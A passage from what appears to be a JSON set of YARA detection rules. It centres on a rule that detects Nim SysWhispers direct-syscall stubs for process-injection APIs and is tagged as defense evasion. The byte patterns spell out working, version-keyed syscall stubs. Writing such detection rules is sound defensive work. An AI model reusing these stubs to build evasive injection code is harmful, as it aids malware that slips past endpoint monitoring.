NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_6_2_XXXX:\n            B8 24 00 00 00                                // mov     eax, 24h\n            EB 55                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_6_3_XXXX:\n            B8 25 00 00 00                                // mov     eax, 25h\n            EB 4E                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_10240:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 47                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_10586:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 40                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_14393:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 39                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_15063:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 32                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_16299:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 2B                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_17134:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 24                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_17763:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 1D                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_18362:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 16                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_18363:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 0F                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_19041:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 08                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_10_0_19042:\n            B8 26 00 00 00                                // mov     eax, 26h\n            EB 01                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_Unknown:\n            C3                                            // retn\n\n                                          // NtOpenProcess_Epilogue:\n            49 89 CA                                      // mov     r10, rcx\n            0F 05                                         // syscall\n            C3                                            // retn\n        }\n\n        $NtAllocateVirtualMemory = {\n            65 48 8B 04 25 60 00 00 00                    // mov     rax, gs:60h\n\n                                          // NtAllocateVirtualMemory_Check_X_X_XXXX:\n            83 B8 18 01 00 00 06                          // cmp     dword ptr [rax+118h], 6\n            74 0E                                         // jz      short NtAllocateVirtualMemory_Check_6_X_XXXX\n            83 B8 18 01 00 00 0A                          // cmp     dword ptr [rax+118h], 0Ah\n            74 50                                         // jz      short NtAllocateVirtualMemory_Check_10_0_XXXX\n            E9 3F 01 00 00                                // jmp     NtAllocateVirtualMemory_SystemCall_Unknown\n\n                                          // NtAllocateVirtualMemory_Check_6_X_XXXX:\n            83 B8 1C 01 00 00 01                          // cmp     dword ptr [rax+11Ch], 1\n            74 1F                                         // jz      short NtAllocateVirtualMemory_Check_6_1_XXXX\n            83 B8 1C 01 00 00 02                          // cmp     dword ptr [rax+11Ch], 2\n            0F 84 CE 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_6_2_XXXX\n            83 B8 1C 01 00 00 03                          // cmp     dword ptr [rax+11Ch], 3\n            0F 84 C8 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_6_3_XXXX\n            E9 17 01 00 00                                // jmp     NtAllocateVirtualMemory_SystemCall_Unknown\n\n                                          // NtAllocateVirtualMemory_Check_6_1_XXXX:\n            66 81 B8 20 01 00 00 B0 1D                    // cmp     word ptr [rax+120h], 1DB0h\n            0F 84 9F 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_6_1_7600\n            66 81 B8 20 01 00 00 B1 1D                    // cmp     word ptr [rax+120h], 1DB1h\n            0F 84 97 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_6_1_7601\n            E9 F4 00 00 00                                // jmp     NtAllocateVirtualMemory_SystemCall_Unknown\n\n                                          // NtAllocateVirtualMemory_Check_10_0_XXXX:\n            66 81 B8 20 01 00 00 00 28                    // cmp     word ptr [rax+120h], 2800h\n            0F 84 98 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_10_0_10240\n            66 81 B8 20 01 00 00 5A 29                    // cmp     word ptr [rax+120h], 295Ah\n            0F 84 90 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_10_0_10586\n            66 81 B8 20 01 00 00 39 38                    // cmp     word ptr [rax+120h], 3839h\n            0F 84 88 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_10_0_14393\n            66 81 B8 20 01 00 00 D7 3A                    // cmp     word ptr [rax+120h], 3AD7h\n            0F 84 80 00 00 00                             // jz      NtAllocateVirtualMemory_SystemCall_10_0_15063\n            66 81 B8 20 01 00 00 AB 3F                    // cmp     word ptr [rax+120h], 3FABh\n            74 7C                                         // jz      short NtAllocateVirtualMemory_SystemCall_10_0_16299\n            66 81 B8 20 01 00 00 EE 42                    // cmp     word ptr [rax+120h], 42EEh\n            74 78                                         // jz      short NtAllocateVirtualMemory_SystemCall_10_0_17134\n            66 81 B8 20 01 00 00 63 45                    // cmp     word ptr [rax+120h], 4563h\n            74 74                                         // jz      short NtAllocateVirtualMemory_SystemCall_10_0_17763\n            66 81 B8 20 01 00 00 BA 47                    // cmp     word ptr [rax+120h], 47BAh\n            74 70                                         // jz      short NtAllocateVirtualMemory_SystemCall_10_0_18362\n            66 81 B8 20 01 00 00 BB 47                    // cmp     word ptr [rax+120h], 47BBh\n            74 6C                                         // jz      short NtAllocateVirtualMemory_SystemCall_10_0_18363\n            66 81 B8 20 01 00 00 61 4A                    // cmp     word ptr [rax+120h], 4A61h\n            74 68                                         // jz      short NtAllocateVirtualMemory_SystemCall_10_0_19041\n            66 81 B8 20 01 00 00 62 4A                    // cmp     word ptr [rax+120h], 4A62h\n            74 64                                         // jz      short NtAllocateVirtualMemory_SystemCall_10_0_19042\n            EB 69                                         // jmp     short NtAllocateVirtualMemory_SystemCall_Unknown\n\n                                          // NtAllocateVirtualMemory_SystemCall_6_1_7600:\n            B8 15 00 00 00                                // mov     eax, 15h\n            EB 63                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_6_1_7601:\n            B8 15 00 00 00                                // mov     eax, 15h\n            EB 5C                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_6_2_XXXX:\n            B8 16 00 00 00                                // mov     eax, 16h\n            EB 55                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_6_3_XXXX:\n            B8 17 00 00 00                                // mov     eax, 17h\n            EB 4E                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_10240:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 47                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_10586:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 40                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_14393:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 39                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_15063:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 32                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_16299:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 2B                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_17134:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 24                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_17763:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 1D                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_18362:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 16                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_18363:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 0F                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_19041:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 08                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_10_0_19042:\n            B8 18 00 00 00                                // mov     eax, 18h\n            EB 01                                         // jmp     short NtAllocateVirtualMemory_Epilogue\n\n                                          // NtAllocateVirtualMemory_SystemCall_Unknown:\n            C3                                            // retn\n\n                                          // NtAllocateVirtualMemory_Epilogue:\n            49 89 CA                                      // mov     r10, rcx\n            0F 05                                         // syscall\n            C3                                            // retn\n        }\n\n        $NtWriteVirtualMemory = {\n            65 48 8B 04 25 60 00 00 00                    // mov     rax, gs:60h\n\n                                          // NtWriteVirtualMemory_Check_X_X_XXXX:\n            83 B8 18 01 00 00 06                          // cmp     dword ptr [rax+118h], 6\n            74 0E                                         // jz      short NtWriteVirtualMemory_Check_6_X_XXXX\n            83 B8 18 01 00 00 0A                          // cmp     dword ptr [rax+118h], 0Ah\n            74 50                                         // jz      short NtWriteVirtualMemory_Check_10_0_XXXX\n            E9 3F 01 00 00                                // jmp     NtWriteVirtualMemory_SystemCall_Unknown\n\n                                          // NtWriteVirtualMemory_Check_6_X_XXXX:\n            83 B8 1C 01 00 00 01                          // cmp     dword ptr [rax+11Ch], 1\n            74 1F                                         // jz      short NtWriteVirtualMemory_Check_6_1_XXXX\n            83 B8 1C 01 00 00 02                          // cmp     dword ptr [rax+11Ch], 2\n            0F 84 CE 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_6_2_XXXX\n            83 B8 1C 01 00 00 03                          // cmp     dword ptr [rax+11Ch], 3\n            0F 84 C8 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_6_3_XXXX\n            E9 17 01 00 00                                // jmp     NtWriteVirtualMemory_SystemCall_Unknown\n\n                                          // NtWriteVirtualMemory_Check_6_1_XXXX:\n            66 81 B8 20 01 00 00 B0 1D                    // cmp     word ptr [rax+120h], 1DB0h\n            0F 84 9F 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_6_1_7600\n            66 81 B8 20 01 00 00 B1 1D                    // cmp     word ptr [rax+120h], 1DB1h\n            0F 84 97 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_6_1_7601\n            E9 F4 00 00 00                                // jmp     NtWriteVirtualMemory_SystemCall_Unknown\n\n                                          // NtWriteVirtualMemory_Check_10_0_XXXX:\n            66 81 B8 20 01 00 00 00 28                    // cmp     word ptr [rax+120h], 2800h\n            0F 84 98 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_10_0_10240\n            66 81 B8 20 01 00 00 5A 29                    // cmp     word ptr [rax+120h], 295Ah\n            0F 84 90 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_10_0_10586\n            66 81 B8 20 01 00 00 39 38                    // cmp     word ptr [rax+120h], 3839h\n            0F 84 88 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_10_0_14393\n            66 81 B8 20 01 00 00 D7 3A                    // cmp     word ptr [rax+120h], 3AD7h\n            0F 84 80 00 00 00                             // jz      NtWriteVirtualMemory_SystemCall_10_0_15063\n            66 81 B8 20 01 00 00 AB 3F                    // cmp     word ptr [rax+120h], 3FABh\n            74 7C                                         // jz      short NtWriteVirtualMemory_SystemCall_10_0_16299\n            66 81 B8 20 01 00 00 EE 42                    // cmp     word ptr [rax+120h], 42EEh\n            74 78                                         // jz      short NtWriteVirtualMemory_SystemCall_10_0_17134\n            66 81 B8 20 01 00 00 63 45                    // cmp     word ptr [rax+120h], 4563h\n            74 74                                         // jz      short NtWriteVirtualMemory_SystemCall_10_0_17763\n            66 81 B8 20 01 00 00 BA 47                    // cmp     word ptr [rax+120h], 47BAh\n            74 70                                         // jz      short NtWriteVirtualMemory_SystemCall_10_0_18362\n            66 81 B8 20 01 00 00 BB 47                    // cmp     word ptr [rax+120h], 47BBh\n            74 6C                                         // jz      short NtWriteVirtualMemory_SystemCall_10_0_18363\n            66 81 B8 20 01 00 00 61 4A                    // cmp     word ptr [rax+120h], 4A61h\n            74 68                                         // jz      short NtWriteVirtualMemory_SystemCall_10_0_19041\n            66 81 B8 20 01 00 00 62 4A                    // cmp     word ptr [rax+120h], 4A62h\n            74 64                                         // jz      short NtWriteVirtualMemory_SystemCall_10_0_19042\n            EB 69                                         // jmp     short NtWriteVirtualMemory_SystemCall_Unknown\n\n                                          // NtWriteVirtualMemory_SystemCall_6_1_7600:\n            B8 37 00 00 00                                // mov     eax, 37h\n            EB 63                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_6_1_7601:\n            B8 37 00 00 00                                // mov     eax, 37h\n            EB 5C                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_6_2_XXXX:\n            B8 38 00 00 00                                // mov     eax, 38h\n            EB 55                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_6_3_XXXX:\n            B8 39 00 00 00                                // mov     eax, 39h\n            EB 4E                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_10240:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 47                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_10586:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 40                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_14393:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 39                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_15063:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 32                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_16299:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 2B                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_17134:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 24                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_17763:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 1D                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_18362:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 16                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_18363:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 0F                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_19041:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 08                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_10_0_19042:\n            B8 3A 00 00 00                                // mov     eax, 3Ah\n            EB 01                                         // jmp     short NtWriteVirtualMemory_Epilogue\n\n                                          // NtWriteVirtualMemory_SystemCall_Unknown:\n            C3                                            // retn\n\n                                          // NtWriteVirtualMemory_Epilogue:\n            49 89 CA                                      // mov     r10, rcx\n            0F 05                                         // syscall\n            C3                                            // retn\n        }\n\n        $NtCreateThreadEx = {\n            65 48 8B 04 25 60 00 00 00                    // mov     rax, gs:60h\n\n                                          // NtCreateThreadEx_Check_X_X_XXXX:\n            83 B8 18 01 00 00 06                          // cmp     dword ptr [rax+118h], 6\n            74 0E                                         // jz      short NtCreateThreadEx_Check_6_X_XXXX\n            83 B8 18 01 00 00 0A                          // cmp     dword ptr [rax+118h], 0Ah\n            74 50                                         // jz      short NtCreateThreadEx_Check_10_0_XXXX\n            E9 3F 01 00 00                                // jmp     NtCreateThreadEx_SystemCall_Unknown\n\n                                          // NtCreateThreaEx_Check_6_X_XXXX:\n            83 B8 1C 01 00 00 01                          // cmp     dword ptr [rax+11Ch], 1\n            74 1F                                         // jz      short NtCreateThreadEx_Check_6_1_XXXX\n            83 B8 1C 01 00 00 02                          // cmp     dword ptr [rax+11Ch], 2\n            0F 84 CE 00 00 00                             // jz      NtCreateThreadEx_SystemCall_6_2_XXXX\n            83 B8 1C 01 00 00 03                          // cmp     dword ptr [rax+11Ch], 3\n            0F 84 C8 00 00 00                             // jz      NtCreateThreadEx_SystemCall_6_3_XXXX\n            E9 17 01 00 00                                // jmp     NtCreateThreadEx_SystemCall_Unknown\n\n                                          // NtCreateThreadx_Check_6_1_XXXX:\n            66 81 B8 20 01 00 00 B0 1D                    // cmp     word ptr [rax+120h], 1DB0\n            0F 84 9F 00 00 00                             // jz      NtCreateThreadEx_SystemCall_6_1_7600\n            66 81 B8 20 01 00 00 B1 1D                    // cmp     word ptr [rax+120h], 1DB1h\n            0F 84 97 00 00 00                             // jz      NtCreateThreadEx_SystemCall_6_1_7601\n            E9 F4 00 00 00                                // jmp     NtCreateThreadEx_SystemCall_Unknown\n\n                                          // NtCreateThreadEx_Check_10_0_XXXX:\n            66 81 B8 20 01 00 00 00 28                    // cmp     word ptr [rax+120h], 2800h\n            0F 84 98 00 00 00                             // jz      NtCreateThreadEx_SystemCall_10_0_10240\n            66 81 B8 20 01 00 00 5A 29                    // cmp     word ptr [rax+120h], 295Ah\n            0F 84 90 00 00 00                             // jz      NtCreateThreadEx_SystemCall_10_0_10586\n            66 81 B8 20 01 00 00 39 38                    // cmp     word ptr [rax+120h], 3839h\n            0F 84 88 00 00 00                             // jz      NtCreateThreadEx_SystemCall_10_0_14393\n            66 81 B8 20 01 00 00 D7 3A                    // cmp     word ptr [rax+120h], 3AD7h\n            0F 84 80 00 00 00                             // jz      NtCreateThreadEx_SystemCall_10_0_15063\n            66 81 B8 20 01 00 00 AB 3F                    // cmp     word ptr [rax+120h], 3FABh\n            74 7C                                         // jz      short NtCreateThreadEx_SystemCall_10_0_16299\n            66 81 B8 20 01 00 00 EE 42                    // cmp     word ptr [rax+120h], 42EEh\n            74 78                                         // jz      short NtCreateThreadEx_SystemCall_10_0_17134\n            66 81 B8 20 01 00 00 63 45                    // cmp     word ptr [rax+120h], 4563h\n            74 74                                         // jz      short NtCreateThreadEx_SystemCall_10_0_17763\n            66 81 B8 20 01 00 00 BA 47                    // cmp     word ptr [rax+120h], 47BAh\n            74 70                                         // jz      short NtCreateThreadEx_SystemCall_10_0_18362\n            66 81 B8 20 01 00 00 BB 47                    // cmp     word ptr [rax+120h], 47BBh\n            74 6C                                         // jz      short NtCreateThreadEx_SystemCall_10_0_18363\n            66 81 B8 20 01 00 00 61 4A                    // cmp     word ptr [rax+120h], 4A61h\n            74 68                                         // jz      short NtCreateThreadEx_SystemCall_10_0_19041\n            66 81 B8 20 01 00 00 62 4A                    // cmp     word ptr [rax+120h], 4A62h\n            74 64                                         // jz      short NtCreateThreadEx_SystemCall_10_0_19042\n            EB 69                                         // jmp     short NtCreateThreadEx_SystemCall_Unknown\n\n                                          // NtCreateThreadEx_SystemCall_6_1_7600:\n            B8 A5 00 00 00                                // mov     eax, 0A5h\n            EB 63                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_6_1_7601:\n            B8 A5 00 00 00                                // mov     eax, 0A5h\n            EB 5C                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_6_2_XXXX:\n            B8 AF 00 00 00                                // mov     eax, 0AFh\n            EB 55                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_6_3_XXXX:\n            B8 B0 00 00 00                                // mov     eax, 0B0h\n            EB 4E                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_10240:\n            B8 B3 00 00 00                                // mov     eax, 0B3h\n            EB 47                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_10586:\n            B8 B4 00 00 00                                // mov     eax, 0B4h\n            EB 40                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_14393:\n            B8 B6 00 00 00                                // mov     eax, 0B6h\n            EB 39                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_15063:\n            B8 B9 00 00 00                                // mov     eax, 0B9h\n            EB 32                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_16299:\n            B8 BA 00 00 00                                // mov     eax, 0BAh\n            EB 2B                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_17134:\n            B8 BB 00 00 00                                // mov     eax, 0BBh\n            EB 24                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_17763:\n            B8 BC 00 00 00                                // mov     eax, 0BCh\n            EB 1D                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_18362:\n            B8 BD 00 00 00                                // mov     eax, 0BDh\n            EB 16                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_18363:\n            B8 BD 00 00 00                                // mov     eax, 0BDh\n            EB 0F                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_19041:\n            B8 C1 00 00 00                                // mov     eax, 0C1h\n            EB 08                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_10_0_19042:\n            B8 C1 00 00 00                                // mov     eax, 0C1h\n            EB 01                                         // jmp     short NtCreateThreadEx_Epilogue\n\n                                          // NtCreateThreadEx_SystemCall_Unknown:\n            C3                                            // retn\n\n                                          // NtCreateThreadEx_Epilogue:\n            49 89 CA                                      // mov     r10, rcx\n            0F 05                                         // syscall\n            C3                                            // retn\n        }\n\n        $NtClose = {\n            65 48 8B 04 25 60 00 00 00                    // mov     rax, gs:60h\n\n                                          // NtClose_Check_X_X_XXXX:\n            83 B8 18 01 00 00 06                          // cmp     dword ptr [rax+118h], 6\n            74 0E                                         // jz      short NtClose_Check_6_X_XXXX\n            83 B8 18 01 00 00 0A                          // cmp     dword ptr [rax+118h], 0Ah\n            74 50                                         // jz      short NtClose_Check_10_0_XXXX\n            E9 3F 01 00 00                                // jmp     NtClose_SystemCall_Unknown\n\n                                          // NtClose_Check_6_X_XXXX:\n            83 B8 1C 01 00 00 01                          // cmp     dword ptr [rax+11Ch], 1\n            74 1F                                         // jz      short NtClose_Check_6_1_XXXX\n            83 B8 1C 01 00 00 02                          // cmp     dword ptr [rax+11Ch], 2\n            0F 84 CE 00 00 00                             // jz      NtClose_SystemCall_6_2_XXXX\n            83 B8 1C 01 00 00 03                          // cmp     dword ptr [rax+11Ch], 3\n            0F 84 C8 00 00 00                             // jz      NtClose_SystemCall_6_3_XXXX\n            E9 17 01 00 00                                // jmp     NtClose_SystemCall_Unknown\n\n                                          // NtClose_Check_6_1_XXXX:\n            66 81 B8 20 01 00 00 B0 1D                    // cmp     word ptr [rax+120h], 1DB0h\n            0F 84 9F 00 00 00                             // jz      NtClose_SystemCall_6_1_7600\n            66 81 B8 20 01 00 00 B1 1D                    // cmp     word ptr [rax+120h], 1DB1h\n            0F 84 97 00 00 00                             // jz      NtClose_SystemCall_6_1_7601\n            E9 F4 00 00 00                                // jmp     NtClose_SystemCall_Unknown\n\n                                          // NtClose_Check_10_0_XXXX:\n            66 81 B8 20 01 00 00 00 28                    // cmp     word ptr [rax+120h], 2800h\n            0F 84 98 00 00 00                             // jz      NtClose_SystemCall_10_0_10240\n            66 81 B8 20 01 00 00 5A 29                    // cmp     word ptr [rax+120h], 295Ah\n            0F 84 90 00 00 00                             // jz      NtClose_SystemCall_10_0_10586\n            66 81 B8 20 01 00 00 39 38                    // cmp     word ptr [rax+120h], 3839h\n            0F 84 88 00 00 00                             // jz      NtClose_SystemCall_10_0_14393\n            66 81 B8 20 01 00 00 D7 3A                    // cmp     word ptr [rax+120h], 3AD7h\n            0F 84 80 00 00 00                             // jz      NtClose_SystemCall_10_0_15063\n            66 81 B8 20 01 00 00 AB 3F                    // cmp     word ptr [rax+120h], 3FABh\n            74 7C                                         // jz      short NtClose_SystemCall_10_0_16299\n            66 81 B8 20 01 00 00 EE 42                    // cmp     word ptr [rax+120h], 42EEh\n            74 78                                         // jz      short NtClose_SystemCall_10_0_17134\n            66 81 B8 20 01 00 00 63 45                    // cmp     word ptr [rax+120h], 4563h\n            74 74                                         // jz      short NtClose_SystemCall_10_0_17763\n            66 81 B8 20 01 00 00 BA 47                    // cmp     word ptr [rax+120h], 47BAh\n            74 70                                         // jz      short NtClose_SystemCall_10_0_18362\n            66 81 B8 20 01 00 00 BB 47                    // cmp     word ptr [rax+120h], 47BBh\n            74 6C                                         // jz      short NtClose_SystemCall_10_0_18363\n            66 81 B8 20 01 00 00 61 4A                    // cmp     word ptr [rax+120h], 4A61h\n            74 68                                         // jz      short NtClose_SystemCall_10_0_19041\n            66 81 B8 20 01 00 00 62 4A                    // cmp     word ptr [rax+120h], 4A62h\n            74 64                                         // jz      short NtClose_SystemCall_10_0_19042\n            EB 69                                         // jmp     short NtClose_SystemCall_Unknown\n\n                                          // NtClose_SystemCall_6_1_7600:\n            B8 0C 00 00 00                                // mov     eax, 0Ch\n            EB 63                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_6_1_7601:\n            B8 0C 00 00 00                                // mov     eax, 0Ch\n            EB 5C                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_6_2_XXXX:\n            B8 0D 00 00 00                                // mov     eax, 0Dh\n            EB 55                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_6_3_XXXX:\n            B8 0E 00 00 00                                // mov     eax, 0Eh\n            EB 4E                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_10240:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 47                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_10586:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 40                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_14393:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 39                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_15063:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 32                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_16299:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 2B                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_17134:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 24                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_17763:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 1D                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_18362:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 16                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_18363:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 0F                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_19041:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 08                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_10_0_19042:\n            B8 0F 00 00 00                                // mov     eax, 0Fh\n            EB 01                                         // jmp      short NtClose_Epilogue\n\n                                          // NtClose_SystemCall_Unknown:\n            C3                                            // retn\n\n                                          // NtClose_Epilogue:\n            49 89 CA                                      // mov     r10, rcx\n            0F 05                                         // syscall\n            C3                                            // retn\n        }\n\n    condition:\n        $s1 and 2 of ($Nt*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_syswhispers"
+  ],
+  "rule_creation_date": "2023-08-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.NimDirectSyscall"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-njrat_0bf99e5c7a1e_yar",
+  "test_maturity_current_count": 0,
